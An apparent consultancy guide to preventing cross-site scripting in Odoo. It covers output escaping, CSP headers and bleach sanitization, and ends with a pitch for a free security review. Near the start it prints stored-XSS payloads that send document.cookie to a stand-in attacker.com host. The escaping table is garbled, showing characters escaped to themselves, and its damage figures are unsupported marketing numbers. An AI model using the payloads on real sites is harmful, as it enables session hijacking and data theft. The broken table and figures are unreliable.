The XSS Attack Scenario
Your D2C allows customers to add comments to orders. A hacker submits:
<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">
Without Protection
Comment stored in database as-is
When any user views comment: JavaScript executes automatically
User's session cookie sent to attacker
Attacker logs in as that user
Accesses all customer data
500 sessions hijacked
All customer data stolen, $2M in damages
With Protection
Comment stored: <img src=x onerror=... >
When displayed: HTML escaped automatically
Shows as text: <img src=x onerror=...>
No JavaScript execution possible
Attacker's payload harmless
Result: Comment safely displayed, no data breach.
The Difference: Complete account hijacking & data theft vs. bulletproof protection.
Zero code changes needed (Odoo does it automatically).
We've implemented 150+ Odoo systems. The ones where developers understand XSS? Zero account hijackings, zero session theft, users trust the system. The ones that don't? Compromised accounts, staff and customers reporting "unauthorized activity," breach investigation, $500K-$5M in damages. That's completely preventable.
Understanding XSS (The Attack)
What it is: Attacker injects malicious JavaScript that executes in user's browser.
Types of XSS
| Type | How It Works |
|---|---|
| Stored XSS | Malicious script saved in DB, executes when page loads (most dangerous) |
| Reflected XSS | Script in URL parameters, reflected back in response |
| DOM XSS | Client-side JavaScript modifies DOM with unsafe data |
Real Attack Example
<!-- Customer adds comment to order -->
<img src=x onerror="
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
sessionId: document.cookie,
userData: getUserData()
})
})
">
<!-- When anyone views comment, JavaScript executes:
- Steals session cookie
- Sends to attacker
- Attacker logs in as that user
- Full account compromise
-->
Attack Damage
✓ Session hijacking (login as user)
✓ Steal sensitive data
✓ Modify/delete data
✓ Deploy malware
✓ Deface website
Risk Severity: CRITICAL
Prevention Method 1: Output Escaping (Default)
What it is: Convert dangerous HTML characters to safe text.
How It Works
| Character | Escaped To |
|---|---|
| < | < |
| > | > |
| " | " |
| ' | ' |
| & | & |
Dangerous: <img src=x onerror="alert('xss')">
Escaped: <img src=x onerror="alert('xss')">
When displayed:
User sees: <img src=x onerror="alert('xss')">
(as text, not HTML)
No JavaScript execution!
In Odoo Templates (Automatic Escaping)
<!-- Odoo automatically escapes by default -->
<t t-esc="comment.body"/>
<!-- Input: <img src=x onerror="alert('xss')"> -->
<!-- Output: <img src=x onerror="alert('xss')"> -->
<!-- Result: SAFE (displays as text) -->
<t t-raw="comment.body"/>
<!-- ⚠️ DANGEROUS - No escaping, raw HTML output -->
<!-- Never use t-raw on user input! -->
In Python Code
from markupsafe import escape, Markup
# Escape user input (SAFE)
user_input = '<img src=x onerror="alert(1)">'
safe = escape(user_input)
# Result: <img src=x onerror="alert(1)">
# Raw HTML (DANGEROUS - only for trusted content)
trusted_html = '<h1>Welcome</h1>'
unsafe = Markup(trusted_html) # Marks as safe, no escaping
Best Practice
@route('/comment', type='http', auth='user')
def add_comment(self, **kwargs):
comment_text = request.params.get('comment')
# Store as-is
self.env['order.comment'].create({
'order_id': order_id,
'text': comment_text, # Store raw text
})
# When displaying, Odoo automatically escapes
# In template: <t t-esc="comment.text"/>
Prevention Method 2: Content Security Policy (CSP)
What it is: HTTP header telling browser which JavaScript sources are allowed.
Add to Nginx
server {
listen 443 ssl;
server_name odoo.example.com;
# Content Security Policy Header
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self';
frame-src 'self';
" always;
# Other security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
}
What CSP Does
Attacker injects: <script src="https://attacker.com/evil.js"></script>
Browser checks:
- - Is https://attacker.com/evil.js in allowed list?
- - NO! (CSP allows only 'self')
- - Block script execution
- - Log CSP violation
Result: Injection attempt blocked!
Stricter CSP (More Secure)
# Strict CSP - no inline scripts allowed
Content-Security-Policy: default-src 'self'; script-src 'self'
Safe Content Patterns
Pattern 1: Display User Comments (SAFE)
<record id="view_order_form" model="ir.ui.view">
<field name="arch" type="xml">
<form>
<!-- User comment (escaped automatically) -->
<field name="customer_comment"/>
<!-- Display comment (SAFE - t-esc escapes) -->
<div t-if="order.comments">
<h3>Comments:</h3>
<t t-foreach="order.comments" t-as="comment">
<div class="comment">
<strong t-esc="comment.author_id.name"/>:
<p t-esc="comment.text"/>
</div>
</t>
</div>
</form>
</field>
</record>
Pattern 2: Allow Formatted Text (SAFE with Sanitization)
from markupsafe import Markup
import bleach
ALLOWED_TAGS = ['b', 'i', 'u', 'strong', 'em', 'p', 'br', 'a']
ALLOWED_ATTRIBUTES = {'a': ['href', 'title']}
def sanitize_html(user_html):
"""Allow safe HTML, strip dangerous tags."""
# Remove all dangerous HTML
clean = bleach.clean(user_html,
tags=ALLOWED_TAGS,
attributes=ALLOWED_ATTRIBUTES,
strip=True # Remove dangerous tags entirely
)
return clean
# Usage
class OrderComment(models.Model):
_name = 'order.comment'
text = fields.Html(string='Comment')
@api.constrains('text')
def _sanitize_text(self):
"""Sanitize HTML before saving."""
for record in self:
record.text = sanitize_html(record.text)
Pattern 3: Email Templates (SAFE)
<record id="email_order_confirmation" model="mail.template">
<field name="body_html" type="html">
<div>
<p>Hi <t t-esc="customer_name"/>,</p>
<p>Your order <t t-esc="order.name"/> has been confirmed.</p>
<!-- Use t-esc, NOT t-raw! -->
</div>
</field>
</record>
Real D2C Example: Safe Customer Review System
WRONG (Vulnerable)
class ProductReview(models.Model):
_name = 'product.review'
review_text = fields.Html(string='Review') # Stores HTML
# ❌ DANGEROUS - Using t-raw without sanitization
# Template displays: <t t-raw="review.review_text"/>
# If review contains <script>, it executes!
RIGHT (Safe)
from markupsafe import Markup
import bleach
class ProductReview(models.Model):
_name = 'product.review'
review_text = fields.Text(string='Review') # Store plain text
rating = fields.Integer(string='Rating')
@api.constrains('review_text')
def _validate_review(self):
"""Ensure review is safe."""
for review in self:
if '<script' in review.review_text.lower():
raise ValidationError("Scripts not allowed in reviews")
if 'javascript:' in review.review_text.lower():
raise ValidationError("JavaScript URIs not allowed")
@api.model
def create(self, vals):
"""Sanitize review on create."""
if 'review_text' in vals:
# Store safely (automatically escaped on display)
vals['review_text'] = self._sanitize(vals['review_text'])
return super().create(vals)
def _sanitize(self, text):
"""Remove dangerous content."""
ALLOWED_TAGS = ['b', 'i', 'strong', 'em', 'p', 'br']
return bleach.clean(text, tags=ALLOWED_TAGS, strip=True)
# In form view
<record id="view_review_form" model="ir.ui.view">
<field name="arch" type="xml">
<form>
<field name="review_text"/>
<field name="rating"/>
</form>
</field>
</record>
# In display view (SAFE - escapes automatically)
<record id="view_review_display" model="ir.ui.view">
<field name="arch" type="xml">
<div>
<t t-foreach="reviews" t-as="review">
<div class="review">
<strong t-esc="review.author_id.name"/>
(<span t-esc="review.rating"/> stars)
<p t-esc="review.review_text"/> <!-- Escaped! -->
</div>
</t>
</div>
</field>
</record>
Your Action Items
Immediate (Audit)
❏ Search templates for t-raw (dangerous!)
❏ Check if t-raw is used on user input
❏ Flag all instances for review
Short-term (Protect)
❏ Replace t-raw with t-esc on user input
❏ Add CSP headers to Nginx
❏ Validate/sanitize user HTML
❏ Test with XSS payloads
Ongoing
❏ Code review: Check for t-raw on user data
❏ Input validation: Block script-like content
❏ Keep Odoo updated (patches vulnerabilities)
❏ Monitor CSP violations
Free XSS Security Review
Stop risking account hijacking. Most D2C brands have XSS vulnerabilities in custom forms/comments. Fixing it is 2-4 hours work, prevents $500K-$5M in account hijacking and data theft. We'll audit templates for XSS vulnerabilities, fix dangerous t-raw usage, add CSP headers, implement input validation, and test with XSS payloads.
